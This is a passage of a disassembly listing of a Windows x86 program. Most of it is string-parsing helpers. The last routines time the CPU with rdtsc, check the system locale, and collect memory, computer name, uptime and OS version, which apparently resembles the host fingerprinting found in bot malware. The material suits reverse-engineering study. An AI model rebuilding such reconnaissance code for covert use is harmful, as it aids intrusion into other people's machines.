mov eax, esi
pop esi
retn
sub_40588E endp
; =============== S U B R O U T I N E =======================================
sub_4058B8 proc near ; CODE XREF: sub_407A76+179p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_4114BE ; strlen
pop ecx
loc_4058C4: ; CODE XREF: sub_4058B8+1Bj
test eax, eax
jz short loc_4058D5
dec eax
cmp byte ptr [eax+esi], 20h
jnz short loc_4058D5
and byte ptr [eax+esi], 0
jmp short loc_4058C4
; ---------------------------------------------------------------------------
loc_4058D5: ; CODE XREF: sub_4058B8+Ej
; sub_4058B8+15j
pop esi
retn
sub_4058B8 endp
; =============== S U B R O U T I N E =======================================
sub_4058D7 proc near ; CODE XREF: sub_405B5B+Cp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov edx, [esp+arg_0]
xor eax, eax
loc_4058DD: ; CODE XREF: sub_4058D7+14j
mov cl, [edx]
test cl, cl
jz short locret_4058ED
cmp cl, [esp+arg_4]
jnz short loc_4058EA
inc eax
loc_4058EA: ; CODE XREF: sub_4058D7+10j
inc edx
jmp short loc_4058DD
; ---------------------------------------------------------------------------
locret_4058ED: ; CODE XREF: sub_4058D7+Aj
retn
sub_4058D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4058EE proc near ; CODE XREF: sub_40A236+2Ap
; sub_40A236+EDp
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push edi
cmp [ebp+arg_10], esi
jnz short loc_405917
push esi
push esi
push [ebp+arg_8]
call sub_4114E8 ; memset
push esi
push esi
push [ebp+arg_C]
call sub_4114E8 ; memset
add esp, 18h
xor eax, eax
jmp short loc_40598D
; ---------------------------------------------------------------------------
loc_405917: ; CODE XREF: sub_4058EE+Cj
push [ebp+arg_0]
mov esi, [ebp+arg_4]
push esi
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_4]
push eax
push offset dword_413F54
push [ebp+arg_0]
call sub_405E4F
mov ebx, [ebp+arg_8]
add esp, 14h
push 1
mov [ebx], eax
mov eax, [ebp+arg_C]
pop edi
cmp [ebp+arg_10], edi
mov [eax], esi
jle short loc_40598A
mov [ebp+arg_8], eax
lea esi, [ebx+4]
sub [ebp+arg_8], ebx
loc_405952: ; CODE XREF: sub_4058EE+9Aj
xor eax, eax
cmp [esi-4], eax
jz short loc_405992
lea ecx, [ebp+var_4]
push ecx
push offset dword_413F54
push eax
call sub_405E4F
add esp, 0Ch
mov [esi], eax
test eax, eax
jz short loc_405979
sub eax, [ebp+arg_0]
add eax, [ebp+arg_4]
jmp short loc_40597B
; ---------------------------------------------------------------------------
loc_405979: ; CODE XREF: sub_4058EE+81j
xor eax, eax
loc_40597B: ; CODE XREF: sub_4058EE+89j
mov ecx, [ebp+arg_8]
inc edi
mov [ecx+esi], eax
add esi, 4
cmp edi, [ebp+arg_10]
jl short loc_405952
loc_40598A: ; CODE XREF: sub_4058EE+59j
mov eax, [ebp+arg_10]
loc_40598D: ; CODE XREF: sub_4058EE+27j
; sub_4058EE+D2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_405992: ; CODE XREF: sub_4058EE+69j
mov esi, edi
imul esi, 3FFFFFFFh
add esi, [ebp+arg_10]
shl esi, 2
push esi
push eax
lea eax, [ebx+edi*4]
push eax
call sub_4114E8 ; memset
mov eax, [ebp+arg_C]
push esi
push 0
lea eax, [eax+edi*4]
push eax
call sub_4114E8 ; memset
add esp, 18h
lea eax, [edi-1]
jmp short loc_40598D
sub_4058EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059C2 proc near ; CODE XREF: sub_40110A+58p
; sub_40110A+8Cp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_4059EC
cmp ecx, 1
jz short loc_4059E9
loc_4059D9: ; CODE XREF: sub_4059C2+25j
mov al, [esi]
mov [edi], al
test al, al
jz short loc_4059EC
inc esi
inc edi
dec ecx
cmp ecx, 1
jnz short loc_4059D9
loc_4059E9: ; CODE XREF: sub_4059C2+15j
mov byte ptr [edi], 0
loc_4059EC: ; CODE XREF: sub_4059C2+10j
; sub_4059C2+1Dj
pop edi
pop esi
pop ebp
retn
sub_4059C2 endp
; =============== S U B R O U T I N E =======================================
sub_4059F0 proc near ; CODE XREF: sub_406EA9+17p
; sub_406F84+1Bp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
loc_4059F4: ; CODE XREF: sub_4059F0+15j
mov cl, [eax]
test cl, cl
jz short loc_405A0A
cmp cl, 30h
jl short loc_405A07
cmp byte ptr [eax], 39h
jg short loc_405A07
inc eax
jmp short loc_4059F4
; ---------------------------------------------------------------------------
loc_405A07: ; CODE XREF: sub_4059F0+Dj
; sub_4059F0+12j
xor al, al
retn
; ---------------------------------------------------------------------------
loc_405A0A: ; CODE XREF: sub_4059F0+8j
mov al, 1
retn
sub_4059F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A0D proc near ; CODE XREF: sub_401000+9Cp
; sub_40FDB3+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
push edi
call sub_4114BE ; strlen
mov ebx, [ebp+arg_4]
and [ebp+arg_8], 0
sub ebx, eax
pop ecx
mov [ebp+var_4], eax
js short loc_405A65
mov esi, [ebp+arg_0]
loc_405A2F: ; CODE XREF: sub_405A0D+56j
mov al, [esi]
mov cl, [edi]
cmp al, cl
jz short loc_405A4B
movsx edx, al
movsx eax, cl
lea ecx, [eax+20h]
cmp edx, ecx
jz short loc_405A4B
add eax, 0FFFFFFE0h
cmp edx, eax
jnz short loc_405A5C
loc_405A4B: ; CODE XREF: sub_405A0D+28j
; sub_405A0D+35j
push [ebp+var_4]
push edi
push esi
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jz short loc_405A6C
loc_405A5C: ; CODE XREF: sub_405A0D+3Cj
inc [ebp+arg_8]
inc esi
cmp [ebp+arg_8], ebx
jle short loc_405A2F
loc_405A65: ; CODE XREF: sub_405A0D+1Dj
xor eax, eax
loc_405A67: ; CODE XREF: sub_405A0D+67j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_405A6C: ; CODE XREF: sub_405A0D+4Dj
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
add eax, ecx
jmp short loc_405A67
sub_405A0D endp
; =============== S U B R O U T I N E =======================================
sub_405A76 proc near ; CODE XREF: sub_40765C+CCp
; sub_40A407+Cp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
xor eax, eax
mov cl, [esi]
loc_405A7F: ; CODE XREF: sub_405A76+1Cj
test cl, cl
jz short loc_405A94
cmp cl, 0Dh
jz short loc_405A98
cmp cl, 0Ah
jz short loc_405A98
mov cl, [eax+esi+1]
inc eax
jmp short loc_405A7F
; ---------------------------------------------------------------------------
loc_405A94: ; CODE XREF: sub_405A76+Bj
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_405A98: ; CODE XREF: sub_405A76+10j
; sub_405A76+15j
push edi
xor ecx, ecx
lea edi, [eax+esi]
loc_405A9E: ; CODE XREF: sub_405A76+3Aj
mov dl, [edi+ecx]
cmp dl, 0Dh
jz short loc_405AAB
cmp dl, 0Ah
jnz short loc_405AB2
loc_405AAB: ; CODE XREF: sub_405A76+2Ej
and byte ptr [edi+ecx], 0
inc ecx
jmp short loc_405A9E
; ---------------------------------------------------------------------------
loc_405AB2: ; CODE XREF: sub_405A76+33j
add eax, ecx
pop edi
add eax, esi
pop esi
retn
sub_405A76 endp
; =============== S U B R O U T I N E =======================================
sub_405AB9 proc near ; CODE XREF: sub_40DBD7+4Ep
; sub_40DBD7+C6p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov cl, [eax]
inc eax
test cl, cl
jz short locret_405AD5
loc_405AC4: ; CODE XREF: sub_405AB9+17j
mov cl, [eax]
test cl, cl
jz short locret_405AD5
cmp cl, 20h
jz short loc_405AD2
inc eax
jmp short loc_405AC4
; ---------------------------------------------------------------------------
loc_405AD2: ; CODE XREF: sub_405AB9+14j
and byte ptr [eax], 0
locret_405AD5: ; CODE XREF: sub_405AB9+9j
; sub_405AB9+Fj
retn
sub_405AB9 endp
; =============== S U B R O U T I N E =======================================
sub_405AD6 proc near ; CODE XREF: sub_405FF3+21Fp
; sub_408E1A+62p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
xor eax, eax
mov esi, ecx
loc_405AE4: ; CODE XREF: sub_405AD6+2Aj
mov dl, [esi]
cmp dl, 20h
jnz short loc_405AF4
test edi, edi
jnz short loc_405AFF
push 1
pop edi
jmp short loc_405AF6
; ---------------------------------------------------------------------------
loc_405AF4: ; CODE XREF: sub_405AD6+13j
xor edi, edi
loc_405AF6: ; CODE XREF: sub_405AD6+1Cj
mov [eax+ecx], dl
inc eax
cmp byte ptr [esi], 0
jz short loc_405B02
loc_405AFF: ; CODE XREF: sub_405AD6+17j
inc esi
jmp short loc_405AE4
; ---------------------------------------------------------------------------
loc_405B02: ; CODE XREF: sub_405AD6+27j
cmp [esp+8+arg_8], 0
pop edi
pop esi
jz short locret_405B1A
loc_405B0B: ; CODE XREF: sub_405AD6+42j
test eax, eax
jz short locret_405B1A
and byte ptr [eax+ecx], 0
dec eax
cmp byte ptr [eax+ecx], 20h
jz short loc_405B0B
locret_405B1A: ; CODE XREF: sub_405AD6+33j
; sub_405AD6+37j
retn
sub_405AD6 endp
; =============== S U B R O U T I N E =======================================
sub_405B1B proc near ; CODE XREF: sub_405B5B+41p
; sub_405B5B+50p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
xor eax, eax
mov ebx, edi
mov esi, ecx
sub ebx, ecx
loc_405B2E: ; CODE XREF: sub_405B1B+26j
mov dl, [esi]
cmp dl, 2Eh
jz short loc_405B49
test dl, dl
jz short loc_405B53
mov [ebx+esi], dl
inc eax
inc esi
cmp eax, 4
jl short loc_405B2E
xor eax, eax
loc_405B45: ; CODE XREF: sub_405B1B+36j
; sub_405B1B+3Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_405B49: ; CODE XREF: sub_405B1B+18j
and byte ptr [eax+edi], 0
lea eax, [eax+ecx+1]
jmp short loc_405B45
; ---------------------------------------------------------------------------
loc_405B53: ; CODE XREF: sub_405B1B+1Cj
and byte ptr [eax+edi], 0
add eax, ecx
jmp short loc_405B45
sub_405B1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B5B proc near ; CODE XREF: sub_405C9C+19p
; sub_405C9C+38p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push 2Eh
push esi
call sub_4058D7
pop ecx
cmp eax, 3
pop ecx
jg short loc_405B96
mov ecx, [ebp+arg_10]
mov edi, [ebp+arg_8]
xor ebx, ebx
mov [ecx], bl
mov ecx, [ebp+arg_C]
sub eax, ebx
mov [ecx], bl
mov ecx, [ebp+arg_4]
mov [edi], bl
mov [ecx], bl
jz short loc_405BC9
dec eax
jz short loc_405BB8
dec eax
jz short loc_405BA9
dec eax
jz short loc_405B9A
loc_405B96: ; CODE XREF: sub_405B5B+16j
; sub_405B5B+4Cj ...
xor eax, eax
jmp short loc_405BDA
; ---------------------------------------------------------------------------
loc_405B9A: ; CODE XREF: sub_405B5B+39j
push esi
push ecx
call sub_405B1B
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_405B96
loc_405BA9: ; CODE XREF: sub_405B5B+36j
push esi
push edi
call sub_405B1B
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_405B96
loc_405BB8: ; CODE XREF: sub_405B5B+33j
push esi
push [ebp+arg_C]
call sub_405B1B
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_405B96
loc_405BC9: ; CODE XREF: sub_405B5B+30j
push esi
push [ebp+arg_10]
call sub_405B1B
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
loc_405BDA: ; CODE XREF: sub_405B5B+3Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_405B5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405BDF proc near ; CODE XREF: sub_405C9C+81p
; sub_405C9C+97p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov dl, [eax]
cmp dl, 72h
jnz short loc_405C13
cmp byte ptr [eax+1], 0
jnz short loc_405C13
push 0Ah
push [ebp+arg_C]
push 0FFh
push 0
call sub_40B459
pop ecx
pop ecx
push eax
call sub_41192A ; _itoa
add esp, 0Ch
jmp loc_405C97
; ---------------------------------------------------------------------------
loc_405C13: ; CODE XREF: sub_405BDF+Bj
; sub_405BDF+11j
cmp dl, 73h
jz short loc_405C1D
cmp dl, 69h
jnz short loc_405C7C
loc_405C1D: ; CODE XREF: sub_405BDF+37j
cmp byte ptr [eax+1], 0
jnz short loc_405C7C
mov ecx, [ebp+arg_0]
mov al, [ecx]
test al, al
jz short loc_405C5F
cmp [ebp+arg_10], 0
jz short loc_405C58
push ebx
push ecx
call sub_41151C ; atoi
mov ebx, eax
push 0Ah
push [ebp+arg_C]
inc bl
movzx eax, bl
push eax
call sub_41192A ; _itoa
add esp, 10h
xor eax, eax
test bl, bl
setz al
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_405C58: ; CODE XREF: sub_405BDF+51j
test al, al
jz short loc_405C5F
push ecx
jmp short loc_405C6E
; ---------------------------------------------------------------------------
loc_405C5F: ; CODE XREF: sub_405BDF+4Bj
; sub_405BDF+7Bj
cmp dl, 69h
jnz short loc_405C6B
push offset dword_413F58
jmp short loc_405C6E
; ---------------------------------------------------------------------------
loc_405C6B: ; CODE XREF: sub_405BDF+83j
push [ebp+arg_8]
loc_405C6E: ; CODE XREF: sub_405BDF+7Ej
; sub_405BDF+8Aj
push [ebp+arg_C]
call sub_4114B8 ; _mbscpy
pop ecx
xor eax, eax
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_405C7C: ; CODE XREF: sub_405BDF+3Cj
; sub_405BDF+42j
test dl, dl
jnz short loc_405C87
mov eax, [ebp+arg_0]
cmp [eax], dl
jz short loc_405C8A
loc_405C87: ; CODE XREF: sub_405BDF+9Fj
push eax
jmp short loc_405C8D
; ---------------------------------------------------------------------------
loc_405C8A: ; CODE XREF: sub_405BDF+A6j
push [ebp+arg_8]
loc_405C8D: ; CODE XREF: sub_405BDF+A9j
push [ebp+arg_C]
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_405C97: ; CODE XREF: sub_405BDF+2Fj
mov eax, [ebp+arg_10]
pop ebp
retn
sub_405BDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C9C proc near ; CODE XREF: sub_40EE23+137p
; sub_40EE23+2F4p
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_2C]
push eax
push [ebp+arg_0]
call sub_405B5B
add esp, 14h
test eax, eax
jz short loc_405D07
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_4]
call sub_405B5B
add esp, 14h
test eax, eax
jz short loc_405D07
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_24]
push eax
push offset dword_41A2E8
call sub_405B5B
add esp, 14h
test eax, eax
jz short loc_405D07
cmp byte ptr [ebp+arg_0], 0
jnz short loc_405D0B
loc_405D07: ; CODE XREF: sub_405C9C+23j
; sub_405C9C+42j ...
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405D0B: ; CODE XREF: sub_405C9C+69j
lea eax, [ebp+var_30]
push 1
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_8]
push eax
call sub_405BDF
push eax
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_14]
push eax
call sub_405BDF
push eax
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_20]
push eax
call sub_405BDF
push eax
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_405BDF
add esp, 50h
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3C]
push eax
push offset dword_413F5C
push [ebp+arg_8]
call sub_4114DC ; sprintf
add esp, 18h
push 1
pop eax
leave
retn
sub_405C9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405D8C proc near ; CODE XREF: sub_40EE23+E6p
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_10]
push eax
push [ebp+arg_0]
call sub_405B5B
add esp, 14h
test eax, eax
jz short loc_405DD2
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
push offset dword_41A2E8
call sub_405B5B
add esp, 14h
test eax, eax
jnz short loc_405DD6
loc_405DD2: ; CODE XREF: sub_405D8C+23j
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405DD6: ; CODE XREF: sub_405D8C+44j
cmp [ebp+var_10], 0
jnz short loc_405DEB
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_405DEB: ; CODE XREF: sub_405D8C+4Ej
cmp [ebp+var_C], 0
jnz short loc_405E00
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_405E00: ; CODE XREF: sub_405D8C+63j
cmp [ebp+var_8], 0
jnz short loc_405E15
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_8]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_405E15: ; CODE XREF: sub_405D8C+78j
cmp [ebp+var_4], 0
jnz short loc_405E2A
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_4]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_405E2A: ; CODE XREF: sub_405D8C+8Dj
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_10]
push eax
push offset dword_413F5C
push [ebp+arg_0]
call sub_4114DC ; sprintf
add esp, 18h
push 1
pop eax
leave
retn
sub_405D8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405E4F proc near ; CODE XREF: sub_4058EE+41p
; sub_4058EE+75p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_405E5E
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_405E5E: ; CODE XREF: sub_405E4F+8j
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov ecx, [eax]
mov edi, [ebp+arg_4]
mov al, [ecx]
test al, al
jz short loc_405E92
mov bl, [edi]
loc_405E71: ; CODE XREF: sub_405E4F+41j
test bl, bl
mov esi, edi
jz short loc_405E85
mov dl, bl
loc_405E79: ; CODE XREF: sub_405E4F+34j
cmp dl, al
jz short loc_405E85
mov dl, [esi+1]
inc esi
test dl, dl
jnz short loc_405E79
loc_405E85: ; CODE XREF: sub_405E4F+26j
; sub_405E4F+2Cj
cmp byte ptr [esi], 0
jz short loc_405E92
mov al, [ecx+1]
inc ecx
test al, al
jnz short loc_405E71
loc_405E92: ; CODE XREF: sub_405E4F+1Ej
; sub_405E4F+39j
cmp byte ptr [ecx], 0
mov edx, ecx
mov esi, edi
jz short loc_405EB5
loc_405E9B: ; CODE XREF: sub_405E4F+5Ej
mov al, [edx]
cmp al, [esi]
jz short loc_405EB1
inc esi
cmp byte ptr [esi], 0
jnz short loc_405EAA
mov esi, edi
inc edx
loc_405EAA: ; CODE XREF: sub_405E4F+56j
cmp byte ptr [edx], 0
jnz short loc_405E9B
jmp short loc_405EB5
; ---------------------------------------------------------------------------
loc_405EB1: ; CODE XREF: sub_405E4F+50j
and byte ptr [edx], 0
inc edx
loc_405EB5: ; CODE XREF: sub_405E4F+4Aj
; sub_405E4F+60j
mov eax, [ebp+arg_8]
pop edi
pop esi
pop ebx
mov [eax], edx
mov eax, ecx
sub eax, edx
neg eax
sbb eax, eax
and eax, ecx
pop ebp
retn
sub_405E4F endp
; =============== S U B R O U T I N E =======================================
sub_405EC9 proc near ; CODE XREF: sub_405ECC:loc_405ED6p
; sub_405ECC+1Ep
rdtsc
retn
sub_405EC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405ECC proc near ; CODE XREF: sub_405FF3+271p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
loc_405ED6: ; CODE XREF: sub_405ECC+42j
; sub_405ECC+4Cj
call sub_405EC9
push 3E8h
mov edi, eax
mov ebx, edx
call dword_4120A4 ; Sleep
call sub_405EC9
sub eax, edi
push esi
sbb edx, ebx
push 186A0h
push edx
push eax
call sub_411610
push esi
push 0Ah
push edx
push eax
call sub_411610
cmp edx, esi
mov edi, eax
ja short loc_405ED6
jb short loc_405F1A
cmp edi, 0F4240h
ja short loc_405ED6
loc_405F1A: ; CODE XREF: sub_405ECC+44j
push esi
push 64h
push edx
push edi
call sub_411590
push 64h
mov ecx, eax
cmp edx, esi
pop eax
mov [ebp+var_4], esi
ja short loc_405F91
jb short loc_405F37
cmp ecx, 50h
jnb short loc_405F3D
loc_405F37: ; CODE XREF: sub_405ECC+64j
push 4Bh
mov [ebp+var_4], esi
pop eax
loc_405F3D: ; CODE XREF: sub_405ECC+69j
cmp edx, esi
ja short loc_405F91
jb short loc_405F48
cmp ecx, 47h
jnb short loc_405F4E
loc_405F48: ; CODE XREF: sub_405ECC+75j
push 42h
mov [ebp+var_4], esi
pop eax
loc_405F4E: ; CODE XREF: sub_405ECC+7Aj
cmp edx, esi
ja short loc_405F91
jb short loc_405F59
cmp ecx, 37h
jnb short loc_405F5F
loc_405F59: ; CODE XREF: sub_405ECC+86j
push 32h
mov [ebp+var_4], esi
pop eax
loc_405F5F: ; CODE XREF: sub_405ECC+8Bj
cmp edx, esi
ja short loc_405F91
jb short loc_405F6A
cmp ecx, 26h
jnb short loc_405F70
loc_405F6A: ; CODE XREF: sub_405ECC+97j
push 21h
mov [ebp+var_4], esi
pop eax
loc_405F70: ; CODE XREF: sub_405ECC+9Cj
cmp edx, esi
ja short loc_405F91
jb short loc_405F7B
cmp ecx, 1Eh
jnb short loc_405F81
loc_405F7B: ; CODE XREF: sub_405ECC+A8j
push 19h
mov [ebp+var_4], esi
pop eax
loc_405F81: ; CODE XREF: sub_405ECC+ADj
cmp edx, esi
ja short loc_405F91
jb short loc_405F8C
cmp ecx, 0Ah
jnb short loc_405F91
loc_405F8C: ; CODE XREF: sub_405ECC+B9j
xor eax, eax
mov [ebp+var_4], esi
loc_405F91: ; CODE XREF: sub_405ECC+62j
; sub_405ECC+73j ...
sub eax, ecx
add eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_405ECC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F9A proc near ; CODE XREF: sub_409277+15Ap
; sub_409918+2AFp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, dword_412038
push 1Fh
push esi
push 7
push 400h
call edi ; GetLocaleInfoA
neg eax
sbb eax, eax
mov byte ptr [esi+3], 0
neg eax
mov [ebp+arg_0], eax
jz short loc_405FD9
push offset off_414108
push esi
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz short loc_405FD9
push 1
pop eax
jmp short loc_405FEF
; ---------------------------------------------------------------------------
loc_405FD9: ; CODE XREF: sub_405F9A+27j
; sub_405F9A+38j
push 1Fh
push esi
push 7
push 800h
call edi ; GetLocaleInfoA
neg eax
sbb eax, eax
neg eax
and byte ptr [esi+3], 0
loc_405FEF: ; CODE XREF: sub_405F9A+3Dj
pop edi
pop esi
pop ebp
retn
sub_405F9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405FF3 proc near ; DATA XREF: sub_4062CF+29o
var_72C = byte ptr -72Ch
var_32C = dword ptr -32Ch
var_328 = byte ptr -328h
var_184 = dword ptr -184h
var_180 = dword ptr -180h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_105 = byte ptr -105h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_50 = byte ptr -50h
var_38 = byte ptr -38h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 72Ch
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_32C]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
lea eax, [ebp+var_70]
push eax
call dword_41207C ; GlobalMemoryStatus
mov eax, [ebp+var_68]
lea esi, [eax+100000h]
mov eax, [ebp+var_64]
add eax, 100000h
shr eax, 14h
shr esi, 14h
mov [ebp+var_24], eax
call sub_406AB7
mov ecx, 15180h
xor edx, edx
mov ebx, ecx
mov edi, eax
div ebx
xor edx, edx
push 3Ch
mov [ebp+var_8], 15h
mov [ebp+var_C], 10h
mov [ebp+var_18], eax
mov eax, edi
div ecx
mov ecx, 0E10h
mov ebx, ecx
mov edi, edx
xor edx, edx
mov eax, edi
div ebx
xor edx, edx
mov [ebp+var_10], eax
mov eax, edi
div ecx
pop ecx
mov eax, edx
xor edx, edx
div ecx
mov [ebp+arg_0], eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_50]
push eax
call dword_412018
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_38]
push eax
call dword_412030 ; GetComputerNameA
push 24h
xor eax, eax
pop ecx
lea edi, [ebp+var_100]
mov [ebp+var_104], 94h
rep stosd
lea eax, [ebp+var_104]
push eax
call dword_412034 ; GetVersionExA
cmp [ebp+var_100], 4
mov edi, offset a? ; "?"
mov [ebp+var_1C], offset aNoSp ; "no SP"
jnz short loc_40612B
cmp [ebp+var_FC], 0
jnz short loc_40610B
cmp [ebp+var_F4], 1
jnz short loc_4060FB
mov edi, offset a95 ; "95"
loc_4060FB: ; CODE XREF: sub_405FF3+101j
cmp [ebp+var_F4], 2
jnz short loc_40617D
mov edi, offset aNt ; "NT"
jmp short loc_40616B
; ---------------------------------------------------------------------------
loc_40610B: ; CODE XREF: sub_405FF3+F8j
cmp [ebp+var_FC], 0Ah
jnz short loc_40611B
mov edi, offset a98 ; "98"
jmp short loc_406162
; ---------------------------------------------------------------------------
loc_40611B: ; CODE XREF: sub_405FF3+11Fj
cmp [ebp+var_FC], 5Ah
jnz short loc_406162
